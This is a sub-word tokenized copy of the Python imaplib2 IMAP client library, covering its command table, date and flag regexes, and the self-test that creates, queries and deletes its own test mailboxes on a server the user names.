"SET", "QUOTA", "'_", ":_", "(_", "(_", "AUTH_", ",_", "SELECTED", "_", ")_", ",_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "SORT", "'_", ":_", "(_", "(_", "SELECTED", "_", ",_", ")_", ",_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "START", "TLS", "'_", ":_", "(_", "(_", "NON", "AUTH_", ",_", ")_", ",_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "STATUS", "'_", ":_", "(_", "(_", "AUTH_", ",_", "SELECTED", "_", ")_", ",_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "STORE", "'_", ":_", "(_", "(_", "SELECTED", "_", ",_", ")_", ",_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "SUBSCRI", "BE", "'_", ":_", "(_", "(_", "AUTH_", ",_", "SELECTED", "_", ")_", ",_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "THREAD", "'_", ":_", "(_", "(_", "SELECTED", "_", ",_", ")_", ",_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "UI", "D", "'_", ":_", "(_", "(_", "SELECTED", "_", ",_", ")_", ",_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "UNSU", "BS", "CRI", "BE", "'_", ":_", "(_", "(_", "AUTH_", ",_", "SELECTED", "_", ")_", ",_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "UI", "D", "\\u", "direct_", "=_", "(_", "'", "SEARCH", "'_", ",_", "'", "SORT", "'_", ",_", "'", "THREAD", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "Mont", "h", "Names_", "=_", "[_", "None_", ",_", "'", "Jan", "'_", ",_", "'", "Fe", "b", "'_", ",_", "'", "Mar", "'_", ",_", "'", "Ap", "r", "'_", ",_", "'", "Ma", "y", "'_", ",_", "'", "Jun", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Ju", "l", "'_", ",_", "'", "Au", "g", "'_", ",_", "'", "Se", "p", "'_", ",_", "'", "Oct", "'_", ",_", "'", "Nov", "'_", ",_", "'", "De", "c", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Mon", "2n", "um_", "=_", "{_", "s_", "._", "encode_", "(_", ")_", ":_", "n_", "+_", "1_", "for_", "n_", ",_", "s_", "in_", "enumerate_", "(_", "Mont", "h", "Names_", "[_", "1_", ":_", "]_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Intern", "al", "Date_", "=_", "re_", "._", "compile_", "(_", "br", "'.*", "INTERN", "AL", "DAT", "E", " ", "\"'_", "\\u\\u\\uNL\\u\\u\\u_", "br", "'(", "?", "P", "<", "day", ">[", " ", "0123", "][", "0", "-", "9", "])", "-(", "?", "P", "<", "mon", ">[", "A", "-", "Z", "][", "a", "-", "z", "][", "a", "-", "z", "])", "-(", "?", "P", "<", "year", ">[", "0", "-", "9", "][", "0", "-", "9", "][", "0", "-", "9", "][", "0", "-", "9", "])'_", "\\u\\u\\uNL\\u\\u\\u_", "br", "'", " ", "(?", "P", "<", "hour", ">[", "0", "-", "9", "][", "0", "-", "9", "])", ":(?", "P", "<", "min", ">[", "0", "-", "9", "][", "0", "-", "9", "])", ":(?", "P", "<", "sec", ">[", "0", "-", "9", "][", "0", "-", "9", "])'_", "\\u\\u\\uNL\\u\\u\\u_", "br", "'", " ", "(?", "P", "<", "zone", "n", ">[-", "+]", ")(?", "P", "<", "zone", "h", ">[", "0", "-", "9", "][", "0", "-", "9", "])(", "?", "P", "<", "zone", "m", ">[", "0", "-", "9", "][", "0", "-", "9", "])'_", "\\u\\u\\uNL\\u\\u\\u_", "br", "'\"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "Intern", "ald", "ate", "2t", "uple_", "=_", "Intern", "ald", "ate", "2", "Time_", "#", " ", "(", "Backward", " ", "compatible", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "FLAG", "S", "\\u", "cre", "_", "=_", "re_", "._", "compile_", "(_", "br", "'.*", "FLAG", "S", " ", "\\\\((", "?", "P", "<", "flags", ">[", "^", "\\\\)", "]*)", "\\\\)", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "To", " ", "test", ":", " ", "invoke", " ", "eit", "her", " ", "as", " ", "'", "python", " ", "imap", "lib", "2", ".", "py", " ", "[", "IMAP", "4", "\\u", "server", "\\u", "host", "name", "]'", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "or", " ", "as", " ", "'", "python", " ", "imap", "lib", "2", ".", "py", " ", "-", "s", " ", "\"", "rsh", " ", "IMAP", "4", "\\u", "server", "\\u", "host", "name", " ", "exec", " ", "/", "etc", "/", "rim", "apd", "\"'_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "or", " ", "as", " ", "'", "python", " ", "imap", "lib", "2", ".", "py", " ", "-", "l", " ", "keyfile", "[:", "certfile", "]|", ":", " ", "[", "IMAP", "4", "\\u", "SS", "L", "\\u", "server", "\\u", "host", "name", "]'_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Optio", "n", " ", "\"-", "d", " ", "<", "level", ">\"", " ", "turns", " ", "on", " ", "debugg", "ing", " ", "(", "use", " ", "\"-", "d", " ", "5", "\"", " ", "for", " ", "every", "thing", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Optio", "n", " ", "\"-", "i", "\"", " ", "tests", " ", "tha", "t", " ", "IDLE", " ", "is", " ", "interrupt", "ible_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Optio", "n", " ", "\"-", "p", " ", "<", "port", ">\"", " ", "allow", "s", " ", "alternat", "e", " ", "ports_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "\\u\\u", "debug", "\\u\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "'", "Ple", "ase", " ", "run", " ", "with", "out", " ", "-", "O", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "import_", "getopt_", ",_", "getpass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "opt", "list_", ",_", "args_", "=_", "getopt_", "._", "getopt_", "(_", "sys_", "._", "argv_", "[_", "1_", ":_", "]_", ",_", "'", "d", ":", "il", ":", "s", ":", "p", ":'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "getopt_", "._", "error_", "as_", "val_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "opt", "list_", ",_", "args_", "=_", "(_", ")_", ",_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "debug_", ",_", "debug", "\\u", "buf", "\\u", "lvl_", ",_", "port_", ",_", "stream", "\\u", "command_", ",_", "keyfile_", ",_", "certfile", "_", ",_", "idle", "\\u", "intr", "_", "=_", "(_", "None_", ",_", ")_", "*_", "7_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "opt_", ",_", "val_", "in_", "opt", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "opt_", "==_", "'-", "d", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "debug_", "=_", "int_", "(_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "debug", "\\u", "buf", "\\u", "lvl_", "=_", "debug_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "opt_", "==_", "'-", "i", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "idle", "\\u", "intr", "_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "opt_", "==_", "'-", "l", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "keyfile_", ",_", "certfile", "_", "=_", "val_", "._", "split_", "(_", "':'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "keyfile_", ",_", "certfile", "_", "=_", "val_", ",_", "val_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "opt_", "==_", "'-", "p", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "port_", "=_", "int_", "(_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "opt_", "==_", "'-", "s", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "stream", "\\u", "command_", "=_", "val_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "args_", ":_", "args_", "=_", "(_", "stream", "\\u", "command_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "args_", ":_", "args_", "=_", "(_", "''_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "port_", ":_", "port_", "=_", "(_", "keyfile_", "is_", "not_", "None_", ")_", "and_", "IMAP", "4", "\\u", "SS", "L", "\\u", "PORT_", "or_", "IMAP", "4", "\\u", "PORT_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "host_", "=_", "args_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "USER_", "=_", "getpass_", "._", "getuser", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "open_", "(_", "os_", "._", "path_", "._", "exists_", "(_", "\"", "test", ".", "data", "\"_", ")_", "and_", "\"", "test", ".", "data", "\"_", "or_", "\\u\\u", "file\\u\\u_", ")_", "._", "read_", "(_", "1000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test\\u", "mesg_", "=_", "'", "Fro", "m", ":", " ", "%", "(", "user", ")", "s", "@", "local", "host", "%", "(", "lf", ")", "s", "Sub", "ject", ":", " ", "IMAP", "4", " ", "test", "%", "(", "lf", ")", "s", "%", "(", "lf", ")", "s", "%", "(", "data", ")", "s", "'_", "%_", "{_", "'", "user", "'_", ":_", "USER_", ",_", "'", "lf", "'_", ":_", "'\\\\", "n", "'_", ",_", "'", "data", "'_", ":_", "data_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "test\\u", "seq1_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "list", "'_", ",_", "(_", "'\"\"'_", ",_", "'\"\"'_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "list", "'_", ",_", "(_", "'\"\"'_", ",_", "'\"", "%", "\"'_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "create", "'_", ",_", "(_", "'", "imap", "lib", "2", "\\u", "test0", "'_", ",_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "rename", "'_", ",_", "(_", "'", "imap", "lib", "2", "\\u", "test0", "'_", ",_", "'", "imap", "lib", "2", "\\u", "test", "1", "'_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "CREATE", "'_", ",_", "(_", "'", "imap", "lib", "2", "\\u", "test", "2", "'_", ",_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "append", "'_", ",_", "(_", "'", "imap", "lib", "2", "\\u", "test", "2", "'_", ",_", "None_", ",_", "None_", ",_", "test\\u", "mesg_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "list", "'_", ",_", "(_", "'\"\"'_", ",_", "'\"", "imap", "lib", "2", "\\u", "test", "%", "\"'_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "select", "'_", ",_", "(_", "'", "imap", "lib", "2", "\\u", "test", "2", "'_", ",_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "search", "'_", ",_", "(_", "None_", ",_", "'", "SUBJECT", "'_", ",_", "'\"", "IMAP", "4", " ", "test", "\"'_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "fetch", "'_", ",_", "(_", "'", "1", ":*", "'_", ",_", "'(", "FLAG", "S", " ", "INTERN", "AL", "DAT", "E", " ", "RF", "C8", "2", "2", ")'_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "store", "'_", ",_", "(_", "'", "1", "'_", ",_", "'", "FLAG", "S", "'_", ",_", "'(\\\\", "Delete", "d", ")'_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "namespace", "'_", ",_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "exp", "unge", "'_", ",_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "recent", "'_", ",_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "close", "'_", ",_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "test\\u", "seq2_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "select", "'_", ",_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "response", "'_", ",_", "(_", "'", "UI", "DV", "ALI", "DI", "TY", "'_", ",_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "response", "'_", ",_", "(_", "'", "EXIST", "S", "'_", ",_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "append", "'_", ",_", "(_", "None_", ",_", "None_", ",_", "None_", ",_", "test\\u", "mesg_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "examine", "'_", ",_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "select", "'_", ",_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "fetch", "'_", ",_", "(_", "'", "1", ":*", "'_", ",_", "'(", "FLAG", "S", " ", "UI", "D", ")'_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "examine", "'_", ",_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "select", "'_", ",_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "uid", "'_", ",_", "(_", "'", "SEARCH", "'_", ",_", "'", "SUBJECT", "'_", ",_", "'\"", "IMAP", "4", " ", "test", "\"'_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "uid", "'_", ",_", "(_", "'", "SEARCH", "'_", ",_", "'", "ALL", "'_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "uid", "'_", ",_", "(_", "'", "THREAD", "'_", ",_", "'", "reference", "s", "'_", ",_", "'", "UT", "F", "-", "8", "'_", ",_", "'(", "SEE", "N", ")'_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "recent", "'_", ",_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Async", "Error_", ",_", "M_", "=_", "None_", ",_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "threading_", "._", "current", "Thread_", "(_", ")_", "._", "set", "Name_", "(_", "'", "main", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "keyfile_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "keyfile_", ":_", "keyfile_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "certfile", "_", ":_", "certfile", "_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "M_", "=_", "IMAP", "4", "\\u", "SSL_", "(_", "host_", "=_", "host_", ",_", "port_", "=_", "port_", ",_", "keyfile_", "=_", "keyfile_", ",_", "certfile", "_", "=_", "certfile", "_", ",_", "ssl", "\\u", "version_", "=_", "\"", "tls", "1", "\"_", ",_", "debug_", "=_", "debug_", ",_", "identifier_", "=_", "''_", ",_", "timeout_", "=_", "10_", ",_", "debug", "\\u", "buf", "\\u", "lvl_", "=_", "debug", "\\u", "buf", "\\u", "lvl_", ",_", "tls", "\\u", "level_", "=_", "\"", "tls", "\\u", "no", "\\u", "ssl", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "stream", "\\u", "command_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "M_", "=_", "IMAP", "4", "\\u", "stream_", "(_", "stream", "\\u", "command_", ",_", "debug_", "=_", "debug_", ",_", "identifier_", "=_", "''_", ",_", "timeout_", "=_", "10_", ",_", "debug", "\\u", "buf", "\\u", "lvl_", "=_", "debug", "\\u", "buf", "\\u", "lvl_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "M_", "=_", "IMAP", "4_", "(_", "host_", "=_", "host_", ",_", "port_", "=_", "port_", ",_", "debug_", "=_", "debug_", ",_", "identifier_", "=_", "''_", ",_", "timeout_", "=_", "10_", ",_", "debug", "\\u", "buf", "\\u", "lvl_", "=_", "debug", "\\u", "buf", "\\u", "lvl_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "M_", "._", "state_", "!=_", "'", "AUTH", "'_", ":_", "#", " ", "Logi", "n", " ", "needed_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "PASS", "WD", "_", "=_", "getpass_", "._", "getpass_", "(_", "\"", "IMAP", " ", "password", " ", "for", " ", "%", "s", " ", "on", " ", "%", "s", ":", " ", "\"_", "%_", "(_", "USER_", ",_", "host_", "or_", "\"", "local", "host", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test\\u", "seq1_", "._", "insert_", "(_", "0_", ",_", "(_", "'", "login", "'_", ",_", "(_", "USER_", ",_", "PASS", "WD", "_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "M_", "._", "\\u", "log_", "(_", "0_", ",_", "'", "PROTOCOL", "\\u", "VERSI", "ON", " ", "=", " ", "%", "s", "'_", "%_", "M_", "._", "PROTOCOL", "\\u", "VERSION_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "COMPRESS", "=", "DEF", "LATE", "'_", "in_", "M_", "._", "capabilities_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "M_", "._", "enable", "\\u", "compression_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "cmd_", ",_", "args_", "in_", "test\\u", "seq1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "run_", "(_", "cmd_", ",_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "ml_", "in_", "run_", "(_", "'", "list", "'_", ",_", "(_", "'\"\"'_", ",_", "'\"", "imap", "lib", "2", "\\u", "test", "%", "\"'_", ")_", ",_", "cb_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mo_", "=_", "re_", "._", "match_", "(_", "br", "'.*", "\"([", "^", "\"]+", ")\"", "$'_", ",_", "ml_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "mo_", ":_", "path_", "=_", "mo_", "._", "group_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "path_", "=_", "ml_", "._", "split_", "(_", ")_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "run_", "(_", "'", "delete", "'_", ",_", "(_", "path_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "ID", "'_", "in_", "M_", "._", "capabilities_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "run_", "(_", "'", "id", "'_", ",_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "run_", "(_", "'", "id", "'_", ",_", "(_", "\"(", "name", " ", "imap", "lib", "2", ")\"_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "run_", "(_", "'", "id", "'_", ",_", "(_", "\"", "version", "\"_", ",_", "\\u\\u", "version\\u\\u_", ",_", "\"", "os", "\"_", ",_", "os_", "._", "uname_", "(_", ")_", "[_", "0_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "cmd_", ",_", "args_", "in_", "test\\u", "seq2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "cmd_", ",_", "args_", ")_", "!=_", "(_", "'", "uid", "'_", ",_", "(_", "'", "SEARCH", "'_", ",_", "'", "SUBJECT", "'_", ",_", "'", "IMAP", "4", " ", "test", "'_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "run_", "(_", "cmd_", ",_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "dat_", "=_", "run_", "(_", "cmd_", ",_", "args_", ",_", "cb_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "uid_", "=_", "dat_", "[_", "-_", "1_", "]_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "uid_", ":_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "run_", "(_", "'", "uid", "'_", ",_", "(_", "'", "FETCH", "'_", ",_", "uid_", "[_", "-_", "1_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'(", "FLAG", "S", " ", "INTERN", "AL", "DAT", "E", " ", "RF", "C8", "22.", "SIZE", " ", "RF", "C8", "22.", "HEAD", "ER", " ", "RF", "C8", "22.", "TEXT", ")'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "run_", "(_", "'", "uid", "'_", ",_", "(_", "'", "STORE", "'_", ",_", "uid_", "[_", "-_", "1_", "]_", ",_", "'", "FLAG", "S", "'_", ",_", "'(\\\\", "Delete", "d", ")'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "run_", "(_", "'", "exp", "unge", "'_", ",_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "IDLE", "'_", "in_", "M_", "._", "capabilities_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "run_", "(_", "'", "idle", "'_", ",_", "(_", "2_", ",_", ")_", ",_", "cb_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "run_", "(_", "'", "idle", "'_", ",_", "(_", "99_", ",_", ")_", ")_", "#", " ", 